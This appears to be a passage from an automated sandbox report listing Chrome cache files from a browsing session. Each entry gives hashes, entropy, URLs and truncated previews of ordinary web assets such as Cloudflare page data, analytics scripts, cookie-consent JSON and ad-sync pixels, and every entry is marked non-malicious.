Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M24 43.5C20.1433 43.5 16.3731 42.3564 13.1664 40.2137C9.95963 38.071 7.46027 35.0255 5.98436 31.4623C4.50845 27.8992 4.12228 23.9784 4.8747 20.1957C5.62711 16.4131 7.4843 12.9386 10.2114 10.2114C12.9386 7.4843 16.4131 5.62711 20.1957 4.8747C23.9784 4.12228 27.8992 4.50845 31.4623 5.98436C35.0255 7.46027 38.071 9.95963 40.2137 13.1664C42.3564 16.3731 43.5 20.1433 43.5 24C43.5 29.1717 41.4456 34.1316 37.7886 37.7886C34.1316 41.4456 29.1717 43.5 24 43.5ZM24 7.50001C20.7366 7.50001 17.5465 8.46772 14.8331 10.2808C12.1197 12.0938 10.0048 14.6708 8.756 17.6857C7.50715 20.7007 7.1804 24.0183 7.81705 27.219C8.45371 30.4197 10.0252 33.3597 12.3327 35.6673C14.6403 37.9748 17.5803 39.5463 20.781 40.183C23.9817 40.8196 27.2993 40.4929 30.3143 39.244C33.3293 37.9952 35.9062 35.8803 37.7193 33.1669C39.5323 30.4535 40.5 27.2634 40.5 24C40.5 19.6239 38.7616 15.4271 35.6673 12.3327C32.5729 9.2384 28

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19948), with no line terminators
Category:	dropped
Size (bytes):	19948
Entropy (8bit):	5.261902742187293
Encrypted:	false
SSDEEP:	384:XriNpnjyMkg8XMtExRN1w29JIOzahXtO2nJ65:GijgSWuanfJ65
MD5:	EC18AF6D41F6F278B6AED3BDABFFA7BC
SHA1:	62C9E2CAB76B888829F3C5335E91C320B22329AE
SHA-256:	8A18D13015336BC184819A5A768447462202EF3105EC511BF42ED8304A7ED94F
SHA-512:	669B0E9A545057ACBDD3B4C8D1D2811EAF4C776F679DA1083E591FF38AE7684467ABACEF5AF3D4AABD9FB7C335692DBCA0DEF63DDAC2CD28D8E14E95680C3511
Malicious:	false
Preview:	!function(){var e={343:function(e){"use strict";for(var t=[],n=0;n<256;++n)t[n]=(n+256).toString(16).substr(1);e.exports=function(e,n){var r=n\|\|0,i=t;return[i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]]].join("")}},944:function(e){"use strict";var t="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)\|\|"undefined"!=typeof msCrypto&&"function"==typeof window.msCrypto.getRandomValues&&msCrypto.getRandomValues.bind(msCrypto);if(t){var n=new Uint8Array(16);e.exports=function(){return t(n),n}}else{var r=new Array(16);e.exports=function(){for(var e,t=0;t<16;t++)0==(3&t)&&(e=4294967296*Math.random()),r[t]=e>>>((3&t)<<3)&255;return r}}},508:function(e,t,n){"use strict";var r=n(944),i=n(343);e.exports=function(e,t,n){var o=t&&n\|\|0;"string"==typeof e&&(t="binary"===e?new Array(16):null,e=null);var a=(e=e\|\|{}).random\|\|(e.rng\|\|r)();if(

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1683
Entropy (8bit):	5.1425273003551775
Encrypted:	false
SSDEEP:	48:YN1aNsNwN0N4AP0N2KvWbE9FCKZ+3JsiNMN6zggvzeMXkz3:UaNsNwN0N4AP0N2KvWbE9FXZ+5siNMNL
MD5:	01D9C7B3B13F88A44CB6F286346F7EB3
SHA1:	D3A1A18C945A39E5D008F52927D9F22760053396
SHA-256:	A4AF860024F38865633E7671D5A4637847FAA481F3C16214D7FF4722E673341F
SHA-512:	C95CDCBF21D0B917E76F6A39E2F34CC35414B5E49F6700F6D0A2405D3BB7D310004CD451694203A60705D3FD4B1033E83E0737A85C112FE6D00A9C655A5F8CE5
Malicious:	false
Preview:	{"data":{"mrkConfigGlobalVariables":{"json_values":{"HTTPRequests":60,"CountryCount":120,"PartnerCount":"5000+","BizAnnualRate":{"type":"unit","value":2400,"format":"Currency"},"BizMonthlyRate":{"type":"unit","value":200,"format":"Currency"},"ProAnnualRate":{"type":"unit","value":240,"format":"Currency"},"ProMonthlyRate":{"type":"unit","value":20,"format":"Currency"},"WAFRulesCount":148,"DataCenterCount":330,"NetworkCapacity":"296 Tbps","DNSQueriesPerDay":3.4,"NetworkCapacityV2":{"type":"unit","value":296,"format":"TerabitsPerSecondShort"},"GlobalWebsiteCount":25000000,"HTTPRequestsAtPeak":81,"WAFRulesFiredPerDay":444528000,"ChinaDataCenterCount":30,"HTTPRequestsPerMonth":10,"NetworkInterconnects":12500,"ThreatsBlockedPerDay":"~158","AnycastNetworkQueries":80,"Fortune1000Percentage":"~30%","OperationMilliseconds":50,"DataCenterCountNoChina":"150+","GlobalWebsiteCountESFR":25000000,"LargestAttackMitigated":"2.6 Tbps","NetworkCapacityNumOnly":100,"DNSGlobalTrafficRouting":35,"EncryptedRe

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57671), with no line terminators
Category:	dropped
Size (bytes):	57671
Entropy (8bit):	5.406436595808325
Encrypted:	false
SSDEEP:	1536:buM99dAoLYPNh7S5BTF94zGnSJpSFD2No5/g:buMdAVNiTF94zGnSJpSFDr5/g
MD5:	BBBCF811D8437A575D796A4C1E5D4FAD
SHA1:	CCE821AAE4F2B8982D9C08B308FB5306945EA68E
SHA-256:	4D15FF2317E16CCD8CA1D3248FEA7D91130E022369BB032824A84AD9967064DF
SHA-512:	6D0E3E9079DB4C175F0E8EC0279E9A89DF786D226685C0764AB20179D69E19CA269E8CC40646A97D31F95597654EC869472358BB72071011DF3410FC32E501C0
Malicious:	false
Preview:	!function(){var t={6173:function(t,e,n){var r;t.exports=(r=r\|\|function(t,e){var r;if("undefined"!=typeof window&&window.crypto&&(r=window.crypto),"undefined"!=typeof self&&self.crypto&&(r=self.crypto),"undefined"!=typeof globalThis&&globalThis.crypto&&(r=globalThis.crypto),!r&&"undefined"!=typeof window&&window.msCrypto&&(r=window.msCrypto),!r&&void 0!==n.g&&n.g.crypto&&(r=n.g.crypto),!r)try{r=n(2480)}catch(t){}var i=function(){if(r){if("function"==typeof r.getRandomValues)try{return r.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof r.randomBytes)try{return r.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")},o=Object.create\|\|function(){function t(){}return function(e){var n;return t.prototype=e,n=new t,t.prototype=null,n}}(),a={},c=a.lib={},u=c.Base={extend:function(t){var e=o(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	1249
Entropy (8bit):	5.242453121762845
Encrypted:	false
SSDEEP:	24:hYYIzD6yJRA3ZsjNQCRtgoLY95Mu56+eDHHLFCOXAkRcfRrzd0Ll72rKQk:rq6Kj2CZLY5Mc6NDLYzkYKLlOM
MD5:	F58515DFE987F7E027C8A71BBC884621
SHA1:	BEC6AEBF5940EA88FBBFF5748D539453D49FA284
SHA-256:	679E7E62B81267C93D0778083AE0FD0EFE24172FF0AC581835B54165B3D9ED43
SHA-512:	F085346A38318F7935D76909DB0367862924CC9B0D96256F7FF4E8999C041E610BBCDE8CA56C92673BDE0991C85E9C9D9B6726ABD91D0C3177462C80D4A99140
Malicious:	false
URL:	https://bookingadocel.com/favicon.ico
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">.<title> 404 Not Found..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1>.<h2 style="margin-top:20px;font-size: 30px;">Not Found..</h2>.<p>The resource requested could not be found on this server!</p>.</div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	634
Entropy (8bit):	5.283338568633231
Encrypted:	false
SSDEEP:	12:xPTsMfisDhpXXxn3tiWRG7vZ7I9zG+Xxn3tiWRG7vZzLZIXxmK3tiWRG7vHIQb:xoVMXB9567OK+B956zCBx5a
MD5:	191581B441D475F7C96BF97D3EBA445A
SHA1:	567DFC6562550094AC03CCB3726E719252504EB1
SHA-256:	7721D6E97DE726120B2270AE293C05BA5DACB2A243A8A80C55BF03BC26A75A10
SHA-512:	82CADAF8A7F6D135DE3F48D8DED22B761363ED6978B0977106AA779DA4050F9E6B2C7F55F64339A8E38F00128390069E8C84FBCFF3C6B3D5F8A21F5FDC5C6EC8
Malicious:	false
URL:	https://s.company-target.com/s/sync?exc=lr
Preview:	<html>..<head>...<title>Pixels</title>..</head>..<body>...<img src="https://dsum-sec.casalemedia.com/rum?cm_dsp_id=18&expiry=1744984093&external_user_id=18ee9fe9-01ca-43a0-b773-2c99f76388ad" alt="" width="0" height="0" style="display:none", aria-hidden="true">.<img src="https://partners.tremorhub.com/sync?UIDM=18ee9fe9-01ca-43a0-b773-2c99f76388ad" alt="" width="0" height="0" style="display:none", aria-hidden="true">.<img src="https://pixel.rubiconproject.com/tap.php?nid=5578&put=18ee9fe9-01ca-43a0-b773-2c99f76388ad&v=1181926" alt="" width="0" height="0" style="display:none", aria-hidden="true">..</body>.</html>

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	1565153
Entropy (8bit):	5.093046524696501
Encrypted:	false
SSDEEP:	3072:hiEXy6L6iY06OqtEX6yCm7hYCS4+NiEXy6L8s22UuLoDBIaqWuF:h/PJ6IKyj7hgV/8hUoOa9Y
MD5:	831D0DD0D03DBA01A42B7BA3EED651CF
SHA1:	0B45BDCF6B8C1E0FF7920236708D24028CB78B98
SHA-256:	A7D27CAE71EBCA087F6AF3554364683FA9AAF4F5DA58C2511F7BFEE0FAA3EE62
SHA-512:	AECA3EA643E1818ABE89315C118F6E57DC2E24D42BC9CE80E06B3C63F70B5BF06EEA2AF73762BF96FAC0A18AC14E8DBB196D9E435C2A01C0863D3AFAC1A9FFFB
Malicious:	false
URL:	https://www.cloudflare.com/page-data/plans/page-data.json
Preview:	{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/plans/","result":{"data":{"page":{"pageName":"Plans and Pricing Page (LIVE /plans/) ","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Translated for Locale","frFR":"Translated for Locale","deDE":"Translated for Locale","itIT":"Translated for Locale","jaJP":"Translated for Locale","koKR":"Translated for Locale","ptBR":"Translated for Locale","esES":"Translated for Locale","esLA":"Translated for Locale","enAU":"English for Locale","enCA":"English for Locale","enIN":"English for Locale","enGB":"English for Locale","nlNL":"Translated for Locale","idID":"English for Locale","thTH":"Translated for Locale","ruRU":"Translated for Locale","svSE":"English for Locale","viVN":"Translated for Locale","trTR":"Translated for Locale","zhHansCN":"Translated for Locale","plPL":"Translated for Locale","arAR":"No Page for Locale"},"relativePath":"plans","topNavOptions":"custom","topNavButto

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32740)
Category:	downloaded
Size (bytes):	35815
Entropy (8bit):	5.320582095062312
Encrypted:	false
SSDEEP:	768:Yyc/Fw3mNF/i3r5lzh0Aq9JQxpTQuVDfDRVNKy/IQCKmYP3:rAFw3+F/UFthQ9uphcq13
MD5:	964F8CB588092AC645368E7307EB73AC
SHA1:	E01FEAB6AB013563A03E9536A71F1794021A2713
SHA-256:	F012C00D43164A4DE843AE80ABEFE500F8497E1123D11C965CD3B40600FE9720
SHA-512:	F2182FE74F46C7AA11FFB0F36BB93E7E5BE6BACEDF0D98840B8A0EA68D09281342A91570B0B8C0B04E12CC2F10C139A3E918642F8E1F4DCF74A9D1E321128A90
Malicious:	false
URL:	https://assets.adobedtm.com/extensions/EPc7341b33570d4c988798fc9f0093d4b2/AppMeasurement.min.js
Preview:	// For license information, see `https://assets.adobedtm.com/extensions/EPc7341b33570d4c988798fc9f0093d4b2/AppMeasurement.js`..function AppMeasurement(e){var t=this;t.version="2.26.0";var n=window;n.s_c_in\|\|(n.s_c_il=[],n.s_c_in=0),t._il=n.s_c_il,t._in=n.s_c_in,t._il[t._in]=t,n.s_c_in++,t._c="s_c";var a=n.AppMeasurement.Bc;a\|\|(a=null);var i,r,o,c=n;try{for(i=c.parent,r=c.location;i&&i.location&&r&&""+i.location!=""+r&&c.location&&""+i.location!=""+c.location&&i.location.host===r.host;)i=(c=i).parent}catch(e){}t.log=function(e){try{console.log(e)}catch(e){}},t.$a=function(e){return""+parseInt(e)==""+e},t.replace=function(e,t,n){return!e\|\|0>e.indexOf(t)?e:e.split(t).join(n)},t.escape=function(e){var n,a;if(!e)return e;for(e=encodeURIComponent(e),n=0;7>n;n++)a="+~!*()'".substring(n,n+1),0<=e.indexOf(a)&&(e=t.replace(e,a,"%"+a.charCodeAt(0).toString(16).toUpperCase()));return e},t.unescape=function(e){if(!e)return e;e=0<=e.indexOf("+")?t.replace(e,"+"," "):e;try{return decodeURIComponent(e

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6371), with no line terminators
Category:	downloaded
Size (bytes):	6371
Entropy (8bit):	5.434378596461589
Encrypted:	false
SSDEEP:	96:lJscEBqZQ4rtWl8+HlvJni+ZHI0ZFUl4NJBDUn5tlR7OIVVsMVX6yPA6a0KcOHY:lGBDGt0HlRi+ZHhFUiO9sI9tre0CY
MD5:	156BBA28F30BAE17662AB52E2B4EAE58
SHA1:	2520F57B04BD084D2105EA3F903F55E95AE64567
SHA-256:	E341B8206FEF41104A11C3FF2BF187D6018248BBDD619C2E84B1BEEA40F0DA42
SHA-512:	B7CC927949A00A5889D2C4E6BDA906A404FD602CD7B3B483791D213985FD5987E4F62910FB6280E6DD29644E59BDD06FED748C6F1C166F19DAD7959D235B4B8A
Malicious:	false
URL:	https://www.cloudflare.com/webpack-runtime-1e8f122af67c0024abb2.js
Preview:	!function(){"use strict";var e,t,n,r,o,c={},a={};function s(e){var t=a[e];if(void 0!==t)return t.exports;var n=a[e]={id:e,loaded:!1,exports:{}};return c[e].call(n.exports,n,n.exports,s),n.loaded=!0,n.exports}s.m=c,e=[],s.O=function(t,n,r,o){if(!n){var c=1/0;for(d=0;d<e.length;d++){n=e[d][0],r=e[d][1],o=e[d][2];for(var a=!0,f=0;f<n.length;f++)(!1&o\|\|c>=o)&&Object.keys(s.O).every((function(e){return s.O[e](n[f])}))?n.splice(f--,1):(a=!1,o<c&&(c=o));if(a){e.splice(d--,1);var i=r();void 0!==i&&(t=i)}}return t}o=o\|\|0;for(var d=e.length;d>0&&e[d-1][2]>o;d--)e[d]=e[d-1];e[d]=[n,r,o]},s.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return s.d(t,{a:t}),t},n=Object.getPrototypeOf?function(e){return Object.getPrototypeOf(e)}:function(e){return e.__proto__},s.t=function(e,r){if(1&r&&(e=this(e)),8&r)return e;if("object"==typeof e&&e){if(4&r&&e.__esModule)return e;if(16&r&&"function"==typeof e.then)return e}var o=Object.create(null);s.r(o);var c={};t=t\|\|[null,

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5370
Entropy (8bit):	4.9673059804741815
Encrypted:	false
SSDEEP:	96:opymbD40wUwp8teWiYpdGHxYa6AyMXV1jfjomjJjFZZ2yD8A:5UW8wWiYpk6vMXPboSJppQA
MD5:	A5CC9C99381F1547749EDFCE79D5F816
SHA1:	17D28AC1DC83D61B7731F8526DC44BE0396450D5
SHA-256:	265B6BC0E2D3D622641A3F697D9907C907D2786FC5CAC171E5920880D36957DE
SHA-512:	566875699F679427B10273F2468032EAC4933682A801BA0F6DB7A9094EAC46BCCB27D4D606A134D048569079EE93830E229ED838DD565EC8E84CF9101EC4CD29
Malicious:	false
Preview:	{"CookieSPAEnabled":true,"CookieSameSiteNoneEnabled":false,"CookieV2CSPEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"MobileSDK":false,"SkipGeolocation":false,"ScriptType":"LOCAL","Version":"202407.2.0","OptanonDataJSON":"b1e05d49-f072-4bae-9116-bdb78af15448","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location","BulkDomainCheckUrl":"https://cookies-data.onetrust.io/bannersdk/v1/domaingroupcheck","RuleSet":[{"Id":"018debfb-4ca4-7537-992d-44786afb66f9","Name":"EU only","Countries":["no","de","be","fi","pt","bg","dk","lt","lu","hr","lv","fr","hu","se","si","mc","sk","mf","sm","gb","yt","ie","gf","ee","mq","mt","gp","is","it","gr","es","re","at","cy","cz","ax","pl","li","ro","nl"],"States":{},"LanguageSwitcherPlaceholder":{"de":"de","default":"en"},"BannerPushesDown":false,"Default":false,"Global":false,"Type":"GDPR","UseGoogleVendors":false,"VariantEnabled":false,"TestEndTime":null,"Variants":[],"TemplateName":"GDPR Template","Conditions":[

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	92588
Entropy (8bit):	5.3594616851278705
Encrypted:	false
SSDEEP:	1536:AnU+9Nknkzknkrknk4qCx7cymuSlHtREOpIkz7B:OUCNknkzknkrknk9CFoHtCOpIy7B
MD5:	3952AE4C355BB0DE351EDFDF6BB97133
SHA1:	86643B0B7BB4EA14A7104BDB9B25B94C74E3309E
SHA-256:	BC72675A9BF5B1F321BA016AD56BF0BAB1E49987215E064EC23EDC7D6EA6F640
SHA-512:	AA1D2A5974FFE0D9F12CE752AB939D8644DE7E34F62A3CD18BBF957AB5B08D58B7C3ED09BAAAD042ED4F372D67486B7FC345CED56738BFD55CB52C79752A7FDC
Malicious:	false
URL:	https://ot.www.cloudflare.com/public/vendor/onetrust/consent/b1e05d49-f072-4bae-9116-bdb78af15448/018debfb-4917-76f1-8862-8a2f83812baa/en.json
Preview:	{"DomainData":{"pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","pccontinueWithoutAcceptText":"Continue without Accepting","pccloseButtonType":"Icon","MainText":"","MainInfoText":"Depending on your state of residence, including if you are a California resident, you have the right to opt out of certain sharing of personal information with third-party ad partners. We may share personal information with third-party ad partners, such as through cookies or by providing lists of email addresses for potential customers, so that we can reach them across the web with relevant ads. <br><br>\n\nWe also use Strictly Necessary Cookies that are essential for delivering our website experience to you safely and securely, and we use .Functional Cookies. that help the website work better for you (e.g., remember your login information or language preferences). You can opt out of Functional Cookies.<br><br>\n\nIn addition, we

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, Unicode text, UTF-8 (with BOM) text, with very long lines (573)
Category:	downloaded
Size (bytes):	68594
Entropy (8bit):	5.479963985385333
Encrypted:	false
SSDEEP:	1536:gsDm5awkEMDrEUtySeuPPTdXOL4Y0TduF1rL/bGhDUyWeflcM+AVD/rJVu8+:BDG0Up0TduF1r3R1EnF+
MD5:	0486E01E8021BD6228C8CAB5A6CEFF0D
SHA1:	7C71FB853583AF89378516047CB0AFF75479D93F
SHA-256:	984B53C03E5BC1BA322C157FF3B698BB87769ED98F04DFCAC803EDE1C14A340A
SHA-512:	D841C76BA1F608930A9562683A1EB1AB9ADE387D762050135AB3DDE6943931F50FB5C7563E236C2E9B61DE62DD3FAD05C5F5564DDB28431649270B11633AE290
Malicious:	false
URL:	https://cdn.bizible.com/scripts/bizible.js
Preview:	.(function(){var Q={};(function(d){function l(n,m,r){var t=n.length,p,v;m=m\|\|[0];r=r\|\|0;var w=r>>>3;if(0!==t%2)throw Error("String of HEX type must be in byte increments");for(p=0;p<t;p+=2){var x=parseInt(n.substr(p,2),16);if(isNaN(x))throw Error("String of HEX type contains invalid characters");var y=(p>>>1)+w;for(v=y>>>2;m.length<=v;)m.push(0);m[v]\|=x<<8(3-y%4)}return{value:m,binLen:4t+r}}function b(n,m,r){var t;var p=m\|\|[0];r=r\|\|0;var v=r>>>3;for(t=0;t<n.length;t+=1){m=n.charCodeAt(t);var w=t+.v;var x=w>>>2;p.length<=x&&p.push(0);p[x]\|=m<<8(3-w%4)}return{value:p,binLen:8n.length+r}}function a(n,m,r){var t=0,p,v;var w=m\|\|[0];r=r\|\|0;m=r>>>3;if(-1===n.search(/^[a-zA-Z0-9=+\/]+$/))throw Error("Invalid character in base-64 string");var x=n.indexOf("=");n=n.replace(/=/g,"");if(-1!==x&&x<n.length)throw Error("Invalid '=' found in base-64 string");for(x=0;x<n.length;x+=4){var y=n.substr(x,4);for(p=v=0;p<y.length;p+=1){var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	178020
Entropy (8bit):	5.19532802057857
Encrypted:	false
SSDEEP:	1536:Mp/9iEXy6LNid7wLq9P6Sb922UuNNoJ57T5IahU5WuF:siEXy6L87wLQb922UuLoDBIaqWuF
MD5:	D1B65458D602EEE9B4E399105AC2555B
SHA1:	72330E05518C394D28184F4AD740246DDEE4D844
SHA-256:	C1D97A7970B2704591CF05A8AB454879040D8DF1C7D6BBFBE24720C82CD52A71
SHA-512:	97BC7E153ECA71C550D95E6C812876B0A2C564F5C47295119D2C0DEF30CA3B6D044086A71B02304D8629C10BA4120F9F77A59607D466365C8AA5457B097CC985
Malicious:	false
URL:	https://www.cloudflare.com/page-data/learning/access-management/phishing-attack/page-data.json
Preview:	{"componentChunkName":"component---src-components-learning-center-templates-learning-center-article-template-tsx","path":"/learning/access-management/phishing-attack/","result":{"data":{"headerData":{"contentTypeId":"navNavigationGroup","contentfulId":"nXsrVte4AQdH4vq24MPyF","locale":"en-US","mainNav":{"contentTypeId":"navNavigation","contentfulId":"3onSCkJx7542CMAJj5nxPP","locale":"en-US","navigationType":"Header","isDefaultNav":true,"backgroundColor":null,"sectionPadding":"default","navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"1DcK33BUEuz8RloURNLefw","locale":"en-US","name":"Solutions","description":null,"navIcon":null,"contentfulButton":null,"showIconOnly":false,"hideOnChinaSite":false,"overrideTheSalesPhoneNumber":null,"navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"5kdEfA2EwI8jw4ExjnN4R2","locale":"en-US","name":" By topic","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"7JRJ8

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1754
Entropy (8bit):	4.6485326411211805
Encrypted:	false
SSDEEP:	24:2ffmyCLwyk3q4nsrqH2B6PykiiNRWZ32IGMSGbbZcmsFrEP2Pr9Tf0W2dTZ+NEHK:wD3qAs+rbwMlGbFWLT9f0W2dZNwf
MD5:	005A44DF200C76B76EFEC47F6F69914B
SHA1:	C977AC7F970E44C35AEC662DE7ACB3C3330C37DB
SHA-256:	6ED2A53BA25845638BD5276EE3C0ACA0C4A370972F1482FAE29A5FCCD97942EA
SHA-512:	4A5AC3FA0ACC72D63826D3610896D4AF6EBE50294B4D7ECC0F2775EA3E645FC5ACAD1CDFEADFD0BF24D26EA812D3C1677267FDBA13DC08AB38877B592E8294A8
Malicious:	false
Preview:	(function(w,d,c,k,a,b,t,e) {.. var cs = d.currentScript;.. if (cs) {.. var uo = cs.getAttribute('data-ueto');.. if (uo && w[uo] && typeof w[uo].setUserSignals === 'function') {.. w[uo].setUserSignals({'co': c, 'kc': k, 'at': a, 'bi': b, 'dt': t, 'ec': e});.. }.. }..})(window, document, 'us', true, false, false, false, false);..(function(w,d,s,i) {.. var c=d.currentScript;.. if (c) {.. var uo = c.getAttribute('data-ueto');.. if (uo && w[uo] && w[uo].uetConfig && w[uo].uetConfig.deBlock === true).. return;.. }.. var f,j; f=d.getElementsByTagName(s)[0]; j=d.createElement(s); j.async=true;.. j.src='https://bat.bing.com/p/insights/t/'+i;.. j.onload = function () {.. if (!c) return;.. var co = function(u) { return u && typeof u === 'object' && !(u instanceof Array) && u.beaconParams && u.beaconParams.mid && w.webinsights; };.. var r = 40;.. var cl = function() {.. if (r-

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65528), with no line terminators
Category:	dropped
Size (bytes):	163472
Entropy (8bit):	5.217225766964686
Encrypted:	false
SSDEEP:	1536:6QP8bc5wOmp/9iEXy6LNidq22UuNNoJ57T5IahU5WuF:6QP8bc5wOiiEXy6L8q22UuLoDBIaqWuF
MD5:	04A6CE73B6F1B00CCFB778D302AC4AF0
SHA1:	AECA4B201749C9560D9C41030F5779669F43F91C
SHA-256:	2E541F139D7019F727830AC72E273CD190F549091B86DE8160DD9F5396788F54
SHA-512:	FB03A93AE9B363947B72DC1C19AB0499833C26C17D6884341A974C064F19B365BA3B8B1179C156B947421431437E16C76935D0DA584E161D6B0BB430CA815160
Malicious:	false
Preview:	{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/under-attack-hotline/","result":{"data":{"page":{"pageName":"Under Attack Hotline (MOE-1056) Redwood (CURRENT)","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Translated for Locale","frFR":"Translated for Locale","deDE":"Translated for Locale","itIT":"Translated for Locale","jaJP":"Translated for Locale","koKR":"Translated for Locale","ptBR":"Translated for Locale","esES":"Translated for Locale","esLA":"Translated for Locale","enAU":"Translated for Locale","enCA":"Translated for Locale","enIN":"English for Locale","enGB":"Translated for Locale","nlNL":"English for Locale","idID":"Translated for Locale","thTH":"Translated for Locale","ruRU":"Translated for Locale","svSE":"English for Locale","viVN":"Translated for Locale","trTR":"English for Locale","zhHansCN":"Translated for Locale","plPL":"Translated for Locale","arAR":"No Page for Locale"},"relativePath":"under-attack-

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7995
Entropy (8bit):	4.018970224351403
Encrypted:	false
SSDEEP:	192:oZu2dFH6PsR1VLGwjOS/Gu8z58THvmJ/9Q3hd71:oZu2z6Py+PS/L8wuJlQ3hdx
MD5:	8B8EAE76A69598E60A2A4EF9535D07FB
SHA1:	F602E96B83D20EEBEA4DB53F27C6938C70F2E6A9
SHA-256:	6D37171EA242C29EE028F2B735EE92C11241B60C14230CC49E03553C7553898B
SHA-512:	0F1D608C0AB9E26517121713679AB458A233DB162E746BA2A7E2BFB1181DCDCA9C16EE92CC7FD6E1D34C3FEC7FE132D73BF6F9CC292C7266228743DFAF00A7A0
Malicious:	false
Preview:	<svg width="93" height="60" viewBox="0 0 93 60" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M0.518281 44.1853C0.230874 44.7531 0.0590396 45.3723 0.0127415 46.007C-0.0335566 46.6416 0.0466027 47.2792 0.248571 47.8827C0.45054 48.4861 0.770299 49.0435 1.18931 49.5225C1.60832 50.0014 2.11824 50.3924 2.68951 50.6728C3.26077 50.9532 3.88202 51.1174 4.51722 51.1558C5.15243 51.1943 5.78895 51.1063 6.38988 50.8969C6.99081 50.6875 7.54419 50.3609 8.01794 49.936C8.49169 49.5111 8.87638 48.9964 9.1497 48.4218L11.0649 44.5198L6.96038 31.0615L0.518281 44.1853Z" fill="#62676A"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M27.3252 0.493023C26.7585 0.214427 26.1424 0.0502399 25.5123 0.00984419C24.8821 -0.0305515 24.2501 0.0536365 23.6525 0.257596C23.0548 0.461556 22.5033 0.78129 22.0293 1.19852C21.5552 1.61576 21.1681 2.12231 20.89 2.68923L13.1619 18.4316L17.2664 31.889L29.5205 6.92564C29.7988 6.35912 29.9627 5.74335 30.0029 5.11348C30.0432 4.4

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47459)
Category:	dropped
Size (bytes):	47460
Entropy (8bit):	5.397735966179774
Encrypted:	false
SSDEEP:	768:mLCcfjNm527JH/2V9d7ch8QMQvjdDdSzCTLo5RP8X60Yo6z63H1KCZwinCb+I298:mxNmeJH/e9d7cqK+CT0Q6zmL8
MD5:	5D332FD1AE9FEB79A10425DFC3F84FE4
